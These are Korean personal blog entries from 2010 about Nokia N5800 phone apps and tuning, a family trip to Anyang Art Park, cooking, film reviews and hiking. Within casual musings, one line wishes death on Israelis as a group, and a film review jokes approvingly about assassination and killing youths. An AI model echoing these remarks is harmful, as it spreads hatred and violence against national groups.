블투 동글을 사고 블투 헤드셋도 장만했다. 주식 투자로 번 피 같은 돈이다. SCS770, 4만 9천원(?). 겨울에 끼는 귀마개처럼 생겨서 여름에는 좀 난감할 듯. 블투 헤드셋에 대단한 음질을 원하는 것은 아니라 싼 맛에 샀는데 그럭저럭 괜찮았다. 음악 들으면서 웹질 하거나 음악 들으면서 책 읽었다. 아울러 만 6천원 짜리 7 port 짜리 외장 파워 usb hub도 구입했다. 노키아 폰을 충전하고, usb로 큰 파일 싱크하고, 블투 동글도 달고, 회사에서 테스트 중인 각종 장비들도 연결하고 하려니 pc의 기본 내장된 usb 포트로는 무리다. 접지가 영 엉망인 사무실에서 usb 포트에 뭔가 꽂다가 pc가 리부팅하는 일이 사라졌다.

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대부분의 어플리케이션은 네이버 노키아 사용자 카페에서 http://cafe.naver.com/nokiaa 구했다.
화면 캡쳐는 Remote Propessional로 했다.

유감스럽게도 vnc viewer는 더이상 개발되지 않았다. PIPS 라이브러리 사용 예제로 올려놓은 것 때문이라는데, PIPS 에서도 예제로 제공할 뿐 정식으로 개발된 것은 없다. 대신 RDP를 사용하는 symrdp를 설치하면 terminal service가 설치된 pc의 원격제어가 가능하다.

N5800에 어플리케이션을 설치하려면 인증 밖에 답이 없다. freeware라도 인증을 안 받으면 설치할 수 없기 때문에 helloox는 필수 프로그램이 된다. *#06# 눌러서 IMEI 알아내고 http://cer.opda.cn/en에서 helloox를 인증한 다음 설치하고 사용한다.

어플리케이션 중 위젯은 반드시 주 메모리(C:)에 설치해야 제대로 작동한다. 일부 python application은 python이 설치된 드라이브에 설치해야 한다. 그외 java 프로그램들은 키패드 때문에 application setting에서 키패드를 감춰야 널직한 화면에서 사용할 수 있는 것들이 있다.

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하도 많은 어플리케이션을 설치하고 지우고 해서 너덜너덜해졌다. 다만 게임은 거의 설치해 보질 않아서 뭐가 있는지 모르겠다.

font 바꾸기: fontrouter를 설치하고 c:/data/fonts/에 원하는 ttf 폰트를 복사. 노키아폰 사용자들이 즐겨 사용하는 귀여운 폰트는 취향에 안 맞아 맑은고딕+한자+심비안 특수문자를 모아놓은 ttf 파일을 사용.

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FX-602B 공학용 계산기와 TouchCalc. 왼쪽보다 오른쪽이 쓰기 편했다.

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아이폰처럼 많은 종류의 잉여웨어가 존재한다. 아무 짝에도 쓸모 없어 보이는 어플리케이션 부터 어떤 식으로든 용처가 발견되는 어플리케이션들도 있다. 하여튼 뒤져보면 어플리케이션이 없어서 고생하지는 않을 것 같다.

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S60DICT: 기본 사전이 무료다. 한 번에 두 종류의 사전을 설치해 사용 가능한데 한영, 영한은 별로. 다만 영어-타이, 뭐 이런 이상한 사전들이 있어 언젠가 기본 사전 덕을 볼 일이 있을 것 같다. 그래서 s60Dict를 설치했는데 사전 데이터가 무척 많다. 위 화면처럼 한국어판 위키피디어를 매 달 변환해 놓는 고마운 사람도 있다.

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배터리: energy profiler로 배터리 소모의 측정이 가능하다. lcd 꺼지고 락 걸린 상태에서 0.1~0.25W, Garmin GPS 지도 안보고 LCD 꺼진 상태에서 0.4W, 지도 볼 때 1~2W, 음악만 켜고 LCD 꺼진 상태로 0.8W, 음악 들으며 웹질할 때 2W 가량 나온다. 블투 켜거나 끄거나 0.05W 정도밖에 차이가 안나 블투는 그냥 켜두고 있지만 장기간 사용할 때는 끄는게 낫겠다. 하루 정도 음악듣고 출퇴근하면서 웹질하면 2/3 정도 배터리가 남았다. 그럭저럭 만족할만한 수준이지만 아주 좋은 수준은 아니었다. 4-5시간의 산행 동안 Garmin GPS를 켠 상태로 음악 들으며 가끔 사진 찍어보니 하루 정도는 버틸만 했다. 변강쇠 배터리라고? 글쎄다. 저 프로그램의 데이터가 사실이라면 하루 버티는 것이 기적이다. 기회가 되도 별로 정밀측정하고 싶지는 않다.

스마트폰의 정의가 뭔지 애매하다. 뭘 해야 스마트폰일까? PDA가 가진 기능에 휴대폰이 붙은 것을 언젠가부터 Microsoft가 Smartphone이라고 불렀다. 아이폰은 스마트폰이 아니라고 한다. 아이폰은 아이폰일 뿐이란다.

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웹질: 기본 웹 브라우저면 충분하다. opera mini는 proxy를 사용하기 때문에 실제로 패킷 절약되는 것보다 정상적인 사이트를 어설픈 모바일 화면으로 랜더링하는 것을 기다리다 지친다. 오페라 모바일이 쓸만하긴 하지만 속도가 비슷해 별로 땡기지 않았다.

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기본 웹 브라우저에 예전에 WM 쓸 때 만들어 놓은 iSilo 클리핑 페이지를 보완해 직접 만든 모바일 페이지를 사용하니 속도가 거의 광속에 가까왔다. 더 바랄 나위가 없다.

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그렇게 매일 짜투리시간이 나면 웹질을 해댔음에도 19일 현재 이 감동적인 패킷 사용량은 구글 맵으로 지도 다운로드를 안 했으면 20MB 이내로 획기적으로 줄어들 것이다. 굳이 3만원이나 하는 스마트500 요금제 사용 안해도 될 것 같다. islim 요금제로 바꿔야겠다. 23000원이면 이전에 LGT 사용금액과 거의 비슷하다. 그때는 패킷을 사용하지 않았다. 다시 말해, 웹질 등 할 것 다하고도 이전하고 전화요금이  별 차이가 없는 것이다 올레~

GPS: 기본으로 설치되어 있는 ovimap은 한국이 얼마나 황량한 곳인가를 보여준다. ovi map 한국은 국내 사정상(실정법상?) 업데이트 할 수 없다고 하는데 올레~ KT의 조처를 기대해 본다. 없으면 없는대로 사용하는 Google Maps는 지도의 품질이 좋긴 하지만 A-GPS를 사용하기 위해 3.5G 망을 열어놓는 관계로 패킷 소모가 막심하다. wifi ap 순서대로 찾다가 실패하면 영락없이 3.5G 패킷망으로 연결된다. 그렇다고 지도를 안 볼 수도 없고. 방법은 구글 맵을 미리 다운받아 놓고 네트웍 사용을 금지해 놓는 것이다.

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geocaching live. osm 지도를 사용한다. 땀흘려 작업한 지도를 이런 프로그램을 통해 보고 있노라니 흐뭇하다. 의외로 한국에도 캐시가 많다는 것을 알았다. free 버전이라 캐시가 몇 개 나타나지 않지만 이 정도면 지오캐싱에 쓸모는 있어 보인다.

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주로 Garmin Mobile XT를 사용했다. open street map 지도는 WM 때처럼 잘 보였다. osm 지도를 업데이트한 KOTM v3.5 인데 아직 osm에는 올리지 않았고 공개도 하지 않았다. 어쩌면 영원히 공개안할 지도 모르겠다. Garmin Mobile XT를 사용하면 배터리 소비량이 획기적으로 줄어든다. 프로그램을 켜 놓은 상태에서 지도를 보지 않고 락을 걸어 LCD를 꺼두면 하루 종일 돌아다녀도 배터리가 별로 닳지 않는다. A-GPS 덕택에 실내에서도 4-5개의 위성이 2-3초면 잡힌다. A-GPS 때문에라도 인터넷 요금제를 사용하지 않을 수가 없다.

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많은 사람들이 환호성을 올리는 대표적인 GPS application: Sportracks. 말 그대로 GPS를 개인 헬스 트레이너로 사용하는 프로그램. 글쎄, 뭐가 좋은지 아직 감이 잘 안 온다.

심비안 어플리케이션의 질은 그다지 높지 않다. 하지만 가상적으로 대부분의 어플리케이션이 무료라고 볼 수 있고 Nokia ExpressMusic N5800은 활용도나 만족도가 높은 편이다. os가 안정적이고, 저 혼자 뻗어버리는 프로그램은 거의 없으며 멀티태스킹도 유연하게 잘 된다 -- gps 켜 놓은 상태로 로그 기록하면서 백그라운드로 음악 들으면서 사진 찍고 메모질하고 웹 브라우저 띄워 그걸 email로 보낼 수 있다. 그 무엇보다도 기본적인 휴대폰 기능이 단순하고 충실하다. 특히 휴대폰 뒤집으면 귀찮은 전화 안 받아도 된다.

나 같은 경우 앞으로 해야 할 일 따위를 기록하거나 업무외 시간에 email을 들여다보는 등의 자학행위를 하지 않은 지 꽤 오래되었지만, 스마트폰 사용자들 중 많은 수가 스마트폰 때문에 업무 외 시간에 업무 스트레스를 받고 있다는 기사를 봤다. 일정을 일종의 기록으로 간주하고 해야할 일이 아닌 한 일로, 할 일을 해도 그만이고 안 해도 그만인 일로, 기록과 기억을 휴대폰에 맡겨버리면 마음 편하지 않을까? 일년에 평균 일정이 460개 가량 하고 하루에 2-3가지 프로젝트를 동시에 진행하며 비참한 시궁창 인생을 살아가는 사람 입장에서 말하자면.

Nokia ExpressMusic N5800 의 특징적인 장점: 싸다.


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안양예술공원

잡기 2010. 3. 17. 21:42
'짜짜로니의 비밀' 이라고 인터넷에 나도는 글을 보고 집에서 짜짜로니를 만들어 먹었다. 매뉴얼에 따른 조리시간 엄수는 면발의 탄력을 유지하기 위해서지 싶다. 진짜 짜장을 사용한다니, 짜장의 시고 짠 맛을 중화하려면 양파 따위 부재료를 사용해서 짜장을 볶는게 낫고 그러려면 편수 냄비나 프라이팬을 사용하는 편이 낫다.  짜파게티보다 조리시간이나 방법이 복잡했다.

물을 끓이고 건더기 스프와 면을 넣어 3분 더 끓이고(wakening water를 붓거나 면발을 들었다 놓았다 하지 않았다) 썰어놓은 양파 반 개를 넣고 1분 더 끓인 후 두어 숫가락 남을 정도만 남긴 채 물을 덜어내고 짜장을 넣은 다음 센불로 2분 볶았다. 그나저나 미치겠군. 며칠 전부터 wakening water의 한국어가 뭔지 머릿속에 맴돌기만 하고... 검색해도 안 나오고 혹시 잘못 안 건 아닐까?

먹어보니 짜파게티보다 낫다. 양파를 넣지 않았으면 짜파게티보다 못할 것 같다. 짜파게티에는 무슨 부재료를 넣건 어울리지 않는데다 부재료와 조리법을 바꾸는 등의 자유도가 낮은데 반해, 짜짜로니는 베이스가 좋아 이것저것 부재료를 넣어가며 여러 종류의 변화를 줄 수 있을 것 같다 -- 액상짜장을 따로 볶아 해물짜장이나 사천짜장 같은 것을 만든다던지 버섯을 볶아 스님짜장을 해 먹는다던지. 다만,  뭘하건 조리시간이 10분 가량 걸릴 것은 각오해야 할 듯. 뭐 맛있으니까.

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별 생각없이 아이를 데리고 안양예술공원에 놀러갔다.
그런데 기대 이상이다.

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글로발 용인, 해피 수원에 이어 파라다이스 안양? 장모님은 디자인 서울에 살다가 해피 수원에 내려간 것이 좌천이라도 되는 것처럼 씁쓸해하며, 부부가 해피하다니 다행이라고 말했다. 한 때는 해피 수원 뿐만 아니라 예스 의왕이나 명품 u-city 오산, 슈퍼 평택, 길이 열리는 화성, 늘푸른 고양, gg 파주, 심지어 패스트 천안까지도 이사갈 도시의 물망에 두었다. 저 포스터의 반딧 찬포차나킷과 문지윤의 신파는 실제 있었던 일이고 두 사람은 안양에 둥지를 틀었다고 한다.

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반딧 찬포차나킷과 문지윤은 신파스럽게 결혼해서 예술공원의 어떤 정자 지붕 아래에 태국식 천당과 한국식 천당을 함께 그려놓았다. 이 그림이 왠지 야매스러워 보이는게, 이런 종류의 그림은 최소한 100년전 것만 봐서 그런 듯...

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안양예술공원은 여름에 와서 발 담그고 놀기 좋아보였다. 천변 한 편에 줄줄이 늘어서 있는 음식점들은 산 아래 여늬 관광지 음식점들 답지 않게 가격이 저렴하고 식단이 다양했다. 예를 들면 빈대떡+파전+맥주500cc 두 잔이 만원. 경양식당의 5코스 스테이크 2만원. 김치말이 국수 3천원. 옛날 짜장 2500원. 그중 옛날짜장을 먹었다.

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예술공원답게 공연장이 그럴듯한데? 파도 모양의 관중석. 그러고보니 줄곳 아이하고만 돌아다녔다. 아내는 내 방식의 여행 스타일인, 주구장창 걷기를 별로 즐기지 않았다. 나는 아내 스타일인 떼로 다니기를 별로 즐기지 않았다.

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산속에 대나무로 얽어놓은 하늘 움막. 실은 open architecture bird cage가 생각났지만.

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다양한 국적의 예술가들이 동산 여기저기에 설치작품을 널어 놓았는데 잔디밭 한 가운데 설치해 놓고 만지지도 못하게 하는 망할 조형미술품이 아니라서 좋다. 제목은 궁금하지 않았지만 보자마자 알았다. 이건 기억의 소실이다 -- 10년 전에 읽은 책을 기억하지 못한다. 남은 것은 버려진 채 대륙붕 밑에 가라앉은 조개껍데기나, 두번째 손길이 닿지 않은 채 텅 비어버린 서가의 지루한 나열 뿐... 아... 허허로운 머리통이여...

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상어머리 캥거루. 예술가들이 이런 생물 디자인을 할 땐 견문 좀 넓혔으면 좋겠다(만든 작가 이름이  잘 기억나지 않지만 여기저기서 그의 작품을 본 기억은 난다). 하다 못해 스미소니언의 공룡 다큐멘터리나 Future is wild 같은 미래 생물의 진화에 관한 다큐멘터리라도 좀 봐서 닭대가리스럽게 생물을 창조하지 않았음 좋겠는데? 아 울라프 스테플든이 쓴 SF 스타메이커도 읽어 보고. 우주 여기저기 창궐한 소위 '인류'나, 하다못해 지구에서라도 1~2억년 가량 진화하다 보면 생물종이 충분히 기괴하고 흥미로워지니까. 이런 산차이에서 생산됐음직한 어설픈 짝퉁 말고...

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한 일본인 예술가는 숲길 자체를 작품으로 삼았다. 소울이는 나무 산책로를 정신없이 뛰다가 비탈길로 데굴데굴 굴렀다. 애 키우는 부모 편에서는 안전한 예술도 있으면 좋겠다.

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꽃대가리 표범과 더불어 아이가 가장 좋아하던 얼룩말새. 아이는 만나는 짐승마다 반가운지 껴안았다. 심지어 시커먼 방글라데시와 파키스탄 외국인도 별로 무서워하지 않아 안심이다. 우리 나라 사람들의 개발도상국 외국인 혐오증은 좀 혐오스러워서...

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분위기 좋다. 천변 전망대 부근에 만들어 놓았더라면 전망이 참 좋았을 것 같다. 널직한 의자인지 탁자인지 용도가 딱히 떠오르지 않았는데, 어쩐지 타이 맛사지, 수면 내시경, 누드 스시 서비스 따위를 하면 알맞을 것 같아 보였다. 또는 태양 방사선의 폭증으로 인류가 지하세계에 생쥐들처럼 숨어살게 되었을 때 가끔 올라와서 두려운 햇빛을 감사히 여기며 저 탁자에 앉아 방사선 샤워에 말라 죽어가는 나무를 처량하게 바라보던가...

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맥주짝으로 벙커처럼 꾸민 조형물. 위엣 것이 하이네캔 내부 같았는데 독일 작가들의 영감의 원천은 역시 술인가? 술을 적게 마시게 된 것으로 행불행을 판단하기 어려웠다. 어쨌거나 술자리를 즐길 때는 빈 소주병과 빈 맥주짝이 흐뭇했다. 비가 추적추적 내리던 며칠 전에는 셋이서 빈대떡에 막걸리 10병을 마셨다.

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다른 작품과 마찬가지로 작가나 제목은 모르겠고, 거울기둥 스톤헨지. 예뻐서 마음에 들었다. 산길 곳곳이 이런 걸 설치해놓았다. 새소리 들으며 산책하는 거라 기분이 좋고 애도 좋아하고 눈도 즐겁다. 꽤 많은 사진을 찍었다. 나머지는 생략.

안양예술공원 놀러갈 때 얼마 전에 산 Nokia N5800 Express Music 휴대폰을 제대로 사용해 봤다. 사진의 품질은 그저 그랬다. 아무리 칼 짜이즈 렌즈를 썼다지만 좁쌀만한 ccd에서 뭘 바라겠나 싶었다. 그런데 h.264로 인코딩되는 동영상이 의외로 좋았다. 휴대폰을 새로  사놓고 주욱 바빠서 셋업이나 튜닝을 제대로 할 시간이 없었다. 하지만 필요한 Apps. 대부분은 갖춘 것 같다. 심지어 아이 보라고 영화도 몇 편 인코딩해서 넣어놨다.

다음팟 인코더는 좋은 프로그램이다. 음성 채널을 선택하는 옵션이 없어 옥의 티라며 안타깝게 생각했는데 파일이름에서 오른쪽 버튼 클릭하면 음성 채널을 선택하는 것이 가능할 뿐더러 자막 및 오디오 싱크 마저 조절할 수 있다. 아이가 좋아하는 공룡 애니메이션인 도라에몽 공룡대작전(?)을 한국어 더빙판으로 노키아 폰에 맞게 인코딩할 수 있었다. 또, 아이가 좋아하는 청소로봇이 등장하는 Wall E의 4초 싱크를 맞추고 한국어 더빙판으로 다시 인코딩했다. 경험상 어디에도 무난한 인코딩 방식은 H.264 baseline profile 1.1 과 AAC 128Kbps 였다.

어차피 잊어버릴 것이 뻔하지만, 디즈니 애니메이션 Dinosour에 등장하는 육식공룡은 아무래도 제노타르소사우르스인 것 같다.  작년에 있었던 두 번의 송년회에서 만난 두 박씨 내외가 아이의 나이를 각각 물었을 때 제대로 대답하지 못했다. 부끄러워 아웃룩의 일정을 검색해 보니 2006년 8월, 팔삭동이로 태어났다. 다섯살이지만 아직 4년을 채우지 못했다. 3월 7일 놀이터에서 만난 어떤 아이의 엄마가 우리 아이의 나이를 물었을 때도 제대로 대답할 수 없었다. 내게는 숫자가 균질해서 숫자를 외우지 못하는 버그가 있다.

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630만 화소짜리 카메라로 찍은 사진과 320만 화소짜리 노키아 폰으로 찍은 풍경 사진이 대략 비슷했으면 좋겠지만, 그렇지는 않았다.

Nokia N5800처럼 마음에 드는 휴대폰은 처음이다. A-GPS는 1-2초만에 위치를 잡았다. 구글 맵스나 garmin mobile xt를 켠 채 돌아다니며 내장된 320만 화소 카메라로 geo tagging이 된 사진을 찍었다. 평소에는 블루투스 헤드셋으로 음악을 들었고(휴대폰은 약 20시간 가량 재생) 충분히 쓸만한 기본 브라우저로 3.5G 패킷망을 사용해 뉴스를 읽고 웹질을 했다. 뉴스 클립 사이트를 개정해 iSilo로 다운받아 보던 것을 온라인으로 직접 보았다. 뉴스 클립 사이트가 이런저런 mobile 사이트보다 패킷을 적게 먹는 탓에 15일 출퇴근 중 줄기차게 웹질을 하고 구글맵을 다운받았는데도 아직 30MB를 채 사용하지 못했다.

하루 정도의 인근 산행이나 자전거 여행이라면 카메라, gps를 다 들고 다니지 않아도 될 것 같다. 팟캐스트로 다운받은 컬투 베스트를 블루투스 헤드셋으로 들으면서 가끔 gps로 산길을 확인하며 등산하면서 사진을 찍는다 -- 그렇게 했다.

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휴일에 집 근처 도서관과 미술관에 가서 아이와 놀았다. 물어보았다. 어느 '그림'이 예뻐 보이니? 난생 처음 보는 서예였겠지만 아이 눈에도 잘 쓴 것은 눈에 띄는 것 같다.

3/13 운동이나 하자고 자전거 타고 광교산에 갔다. 10km 쯤 걸었다. 스타킹에 미니스커트를 입고 돌아다니는 남자를 보았다. 16세기인지 17세기인지 독일에서 일할 때 편해 스커트를 입었다는 문구를 기타와 가방에 붙였다. 산길에서는 운동화를 신었는데 산 밑에서 다시 보니 굽 높이가 좀 있는 하이힐로 갈아 신었다. 하이힐은 스커트 마냥 편해서 신는게 아니잖아? 가발은 또 왜?

별로 가진게 없어 고작 남을 것이 말 밖에 없다는 법정스님이 입적하면서 남긴 말: '이제 시간과 공간을 버려야겠다'  -- 듣고나니 이 시대의 언어 인플레가 새삼 엿같이 버거워, 죽을 때 죽더라도 노무현 전대통령처럼 중력의 묵직한 실재감을 인정하듯 홱 뛰어내리며 검이불루화이불처! 하면 더더욱 좋았을 것 같다. 속좁게 아는 한국의 대승불교는 입만 살아서 무소유를 떠들어대는 편이라 그다지 심금을 울리는 도그마는 아니었다.

초등학교 다니는 조카가 등속 운동을 하는 두 물체의 상대 속도에 관한 질문을 했다. 유감스럽게도 만족스러운 대답을 하지 못했다. 잘 알고 있으면서도 설명할 수 없으면 잘 알지 못하는 것과 다를 바 없다. 나중에 우리 아이가 자랐을 때 지금까지 배웠던 방만한 지식을 수식이나 직관에 의존하지 않고 알맞게 설명해 줄 수 없어(그저 한다는 말이 '조금 더 크면 배우게/이해하게 될 꺼야') 소름이 끼쳤다. 헛살았잖아? 공감과 이해가 적었던 어리석은 인생이라서? --. 그건 좀 아니다. 한때, 평균 이상의 감정 이입이 가능해 이거야 말로 정말 하늘이 준 치졸하게 더럽고 고통스러운 선물이 아닐까 생각했다.

어쩌다 함께 술을 마셨던 손대장은 '여우같은 마누라하고는 어떻게 살 수 있어도, 곰같은 마누라하고는 살 수 없다'고 말했다. 내게는 그럴만한 이유라서, 녹슬고 무뎌진 자신 뿐만 아니라 타인에 대해서 같은 기준을 적용하여, 세속의 격언을 '은유'로써 마음에 담아두겠다. 용례: 타인의 고통을 이해하지 못하는 곰같은 이스라엘 놈들은 하느님 곁으로 보내는게 바람직하다.

김연아 올림픽 금메달 즈음에서 나돌던 말. '피겨의 신은 이 땅에 아사다 마오를 보내시고... 여신은 그냥 강림하셨다.' Stella et Fossilis에서 본 별자리:


김연아가 강림하여 금메달을 따던 그 날, 그의 공연 시간 동안 주식거래량 마저 평소보다 절반이 줄었단다. 거래량과 상관없이 주식시장에서 12%의 이익을 냈다. 100만원 투자해 12만원 벌어 2만원 보태 전구가 나간 스탠드 대신 LED 스탠드를 샀다. 5만원짜리 블루투스 헤드셋도 그렇게 장만했다. 주식으로 용돈 벌어 가젯 사자.

감기 걸리면 처방전의 약품명을 적어놓고 약국에서 조제해 준 약을 받은 다음, 집이든 사무실로 돌아와 약들을 검색해보고 먹어도 괜찮다 싶은 것들만 먹었다. 그러다가 문득 이런 생각이 들었다: 항생제(antibiotics)는 몸안에 침투한 미생물 뿐만 아니라 몸 속에 존재하는 여러 가지 것들도 함께 학살하는데, 살생을 금하는 불교도라면(예를 들어 법정 정도의 내공에 견주건대) 항생제를 복용하지 않고 미생물이 자기를 먹어치우게 하여 자연스럽게 죽는게 바람직할까, 침투한 미생물이 자신의 몸을 갉아먹으면서 몸과 동화한 것이니만큼 병의 치료를 위해 항생제를 먹어 자기 자신을 죽이면서 좀 더 큰 몸 전체를 민주주의적으로 살리는 것이 타당할까? 가톨릭과 기독교는 상대적으로 오랜 기간 과학의 도전을 받아오며 다양한 변명과 방어기제를 만들어 놓았는데, 불교 역시 양자역학적으로나, 분자생물학적으로나 누가 물어도 묵언수행으로 입닥치지 않는 장황한 입장을 가지면 재밌을 것 같다.

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Daybreakers. 흡혈귀가 좀비가 되는 영화. 왠지 모르게 한심한 장면. 샘 닐의 비중이 작아서 실망했다. 그의 악당 이미지를 제대로 활용하는 감독이 없는건가, 아니면 샘 닐은 언제나 단역, 조연이나 할 재질인건가..

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Fanboys. 오덕 만빵한 눈빛들. 10년 전에 주위에서 흔히 보던 안광. 암 생각없이 봤다. SF 팬덤에서 항상 떠들어대는 얘기들.

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Harry Brown. 클린트 이스트우드도 해 먹고, 노인의 전쟁(old man's war)같은 재밌는 SF도 있고, 코맥 매카시의 저작도 있는데, 시대를 한 발자욱 앞서가는 용기있는 작가라면 노인들을 위한 극화를 만들어 그들의 퇴직금과 연금을 갈구리로 긁어담을 수도 있겠다. 이 영화처럼 살 날이 얼마 안 남은 노인네들이 자기 목숨을 걸고 죄악에 찌든 청소년 살해, 정치인 암살이나 폭탄테러, 재산의 사회환원 등등을 해서 사회변혁의 초석을 다지는 교훈적인 내용이 담겼으면 정말 좋겠다.

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The Road. 그렇게도 읽고 싶었지만 몇 달째 도서관에서 대여자가 많아 보지 못하는 코맥 매카시의 원작을 영화화한 것. 이유없이 나무들이 죽어가는 바람에 세계가 멸망 위기에 처했다. 식인이 횡행하는 황량한 대륙을 가로지르며 딸아이가 인간성을 잃지 않도록 노심초사하는 아버지. 매카시의 작품은 한 편도 못 봤지만 노인을 위한 나라는 없다와 로드에서 그의 '문체'가 대충은 짐작이 간다. 꼭 읽어봐야지.

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죽음이 두 사람을 갈라놓을 때까지. 그저그런 스토리. 스타일=매너리즘. 쉽게 작붕할 것 같지 않아 본다.

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Spartacus. 썰고 자르고 뭉개는 검투사 드라마. 300을 그야말로 데드카피한 듯한 연출.

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Spartacus. 줄곳 이랬다. 하여튼 재밌게, 감사히 잘 보고 있는 중.

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Boondock Saints II.  2편은 왜 만든거지?

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 The Limits of Control. 화면빨만 쳐다보느라 등장인물들이 죽던 말든 신경쓰지 않은 탓에 영화가 끝난 후 곰곰이 생각해 봤지만 여전히 스토리를 모르겠다. 그럼에도 불구하고 재밌는데다가 정말 '영화'를 본 것 같아 배가 불렀다.

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The Men Who Stare At Goats. 초능력 부대의 창설 동기가 멋졌다. '그러니까 우리는 한 적이 없는데 소련놈들은 우리가 초능력 실험을 하는 줄 알고 위협을 느낀 나머지 그들 나름대로 초능력 실험을 시작했기 때문에 우리가 뒤쳐지지 않으려면 지금부터 초능력 연구를 해야 한다는 말이지?' 내용을 보자면 흠잡을데 없이 웃겼다. 그런데 별로 웃기지가 않았다.

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The Pacific. 기다리던 드라마. preview와 1화를 봤다. 드라마를 찍으려고 배우들을 신병훈련소에 쳐박아놓고 훈련시켰다. 1화의 야전씬은 조만간 다시 볼 것이다. 기관총 소리에 자던 아내가 놀라 깼다. 이 드라마는 못해도 1280x720p 5.1ch 파일을 다운받아 보는 것이 상식이자 예의같다.


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GLXP

잡기 2010. 2. 22. 16:42
Google Lunar Xprize: 2012년 12월 31일까지 달에 탐사선을 착륙시키고 로봇으로 달 표면을 500미터 이상 주행한 다음 이미지를 보내주면 상금을 준다. 달 탐사 계획에 필요한 비용은 알아서 펀딩을 받아야 한다. 오바마는 달 계획을 포기했다. 사정이 이해가 가지만 안타까웠다. 먹고 사는 것과 상관없는 이런 바보같고 멋진 프로젝트를 민간 기업이 기획한다니 박수라도 열심히 치자.

최근 인기를 끌고 있는 소셜 네트웍 앱스는 나같은 개발계나 문학계 자뻑 왕따들에겐 쓸모없는 서비스다. 누가 내 일에 관심 가져주는 거나, 삽질 과정이나 가십, 자랑꺼리를 여기저기 퍼뜨리면서 사회화의 장점(또는 혜택)을 누리고 싶지 않아서. 그런데 대체 사회화의 장점이나 혜택이 뭐지? 자뻑 왕따는 주어진 환경에서 자력갱생, 자가발전, 자급자족 등이 가능한 완벽한 상태인데. 농담.

Modern Family가 Bing Bang Theory 보다 취향에 맞는 것 같다. 빅뱅 이론의 늘 뻔한 코드와 반병신스럽게 묘사되는 오타쿠의 불편한 사회부적응 에피소드는 어렸을 적에 경험해 볼 만큼 해서일까? 처음에는 코드가 맞는 듯 하더니 날이 갈수록 재미가 없다. 흡시 일상에 독거하는 피치못할 지겨움을 재연하는 것처럼.

오리처럼 꽥꽥 대고 오리처럼 걷는다면 그것은 오리다. -- Duck Typing의 정의. -- 프로그래밍이 점점 실존적으로 변해가는 것일까? 시간이 많이 흘러 오랜 세월 배운 것들을 대부분 잊어버렸다. 술자리에서 erlang 얘기가 나왔다. 난 루비 얘기를 했고 플랜9의 적자인 go나 c의 적자인 d에 관한 얘기는... 할 틈이 없었다. 주변에 그런 얘길 나눌만한 사람이 없다. 현실은 시궁창이라 여전히 c++을 사용했다. 농담. 오래전 STL 도입 초기에 뻔질나게 하던 것이 벤치마크였다. 벤치마크 결과는 시중에 떠도는 프로그래머들의 말이 구라이거나 불완전하다는 것을 보여줬다. 그 후로는 STL을 죽 사용했다.

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마누라 친구가 찍은 것 같은데, 난 이런 각도로 사진을 찍어본 적이 없다. 원본 사진이 좀 구리다. 미련없이 가위질했다. 크롭질을 비롯한 사진 후보정을 모두 포함한 것이 사진 예술이라고 읽었던 기억이 난다. 하지만 원본이 구리면 만사가 허사다.

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그런데... 나는 지금까지 호랑이 새끼를 만져본 적이 없다. 이러다가 아이가 호랑이는 인간의 친구라는 어리석은 편견을 가지게 되지는 않을까?

라파엘로가 활동하던 시대의 그림들 대부분이 구리고 시시한 것들이지만(성화를 대체로 꺼리는 취향 탓도 있고) 이제는 그런 것들을 이해하는 것이 교양의 한 방편이 되었다. 게다가 저 먼 땅덩이에 본인과 관계없이 사는 사람들이 어떻게 살았는지 알아야 그림이 제대로 보인단다. 아는 만큼 보인다나? 어디서 들은 말, 아무데나 갖다 붙이면 맞을 것 같지?

댄 시먼즈의 올림포스는 세익스피어 전부는 몰라도 템페스트 정도는 읽어야 하고, 호메로스와 베르길리우스의 저작과, 별자리에 얽힌 설화를 암기하는 것보다는 그리스 신화의 짜임새에 관해 좀 더 알아야 매니악하게 즐길 수 있긴 한데, 그런 것들 몰라도 재밌다. 댄 시먼즈가 글빨이 좋기 때문이다. 말하자면 어떤 작가가 마술사, 명장 소리를 들을 지경이 되면 배경지식이나 교양이  없어도 작품만으로 거개의 심금을 울릴 수 있다고 믿는다.

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아내는 기어코 빨간 두건 코스프레를 해냈다. 결혼 전에는 젊은 엄마들이 딸애 옷 갈아 입히는 것이 로망이라는 얘기를 콧방귀를 뀌며 흘려 들었다. 내가 뭐에 씌인 건지 별로 잘 생기지 않아 평소 다행이라고 생각하던 딸아이가 이런 옷을 입혀 놓으니 정말 그럴듯해 보였다. 바구니 하나 주고 숲속에 풀어놓으면 완벽할 것 같다.

1/17. 예전에 시간이 부족해 안양에서 안산까지 가지 못한 것이 아쉬워 눈이 녹다만 수리산에 다시 올랐다. 명학역-관모봉-태을봉-슬기봉-수리봉 까지 꾸역꾸역 걸어갔다. GPSr을 쳐다보지 않다가 길을 잘못 들었다. 납다골로 이어지는 임도를 따라 죽 내려오다가 눈밭에 자빠졌다. 1.5km쯤 걸어 산을 내려와 다시 3km를 꾸준히 걸어 반월 저수지에 다다랐다.

오후 늦은 시각인데 반월 저수지 유원지에는 인적이 드물었고, 저수지는 딱딱하게 얼어 있다. 얼음 두께가 10cm는 족히 넘을 것 같다. 조심스럽게 저수지를 가로질렀다. 새하얀 눈 위에 내 발자국만 꾸준히 이어졌다. 동쪽으로 방향을 틀어 저수지 입구까지 얼음 위를 살살 걸어 영동 고속도로와 만나는 곳까지 가니 누군가 이글루를 만들어 놓았다. 지도에는 안 나오는 무슨 물전시관이 보였다. 논밭을 가로지르는 농로를 따라, 청둥오리가 얼음을 깨고 둥둥 떠있는 작은 개울을 끼고 대야미역까지 걸어갔다. 드물게 기분좋은 산행이다.

1/8~24. 예전 회사의 OB 모임에 갔다. 오랫만에 본 유씨는 내 블로그가 재미가 없어서 요새 안 들어온다고 말했다. 안 그래도 이 블로그에 지인이라고, 안부가 궁금해 찾아오는 사람들은 최근 몇 년 새 급격히 줄었다. 적어도 내가 아는 한 딱 세 사람만 들어오는 것 같았다. 그중 박씨는 '육아 블로그 잘 보고 있다'고 말했다. 그러고보면 그 많던 자폐증 환자들과 스토커들이 홈페이지에 안 들르고 다 어디로 갔을까? 내가 세월과 노고에 지치고 망가져서 예전같은 매력을 잃어버린 아저씨가 되어서일까, 아니면, 이 세상은 어떤 찌질이의 독아론보다는 한 뼘 더 넓다는 것을 나이 먹다가 문득 깨달아서일까.

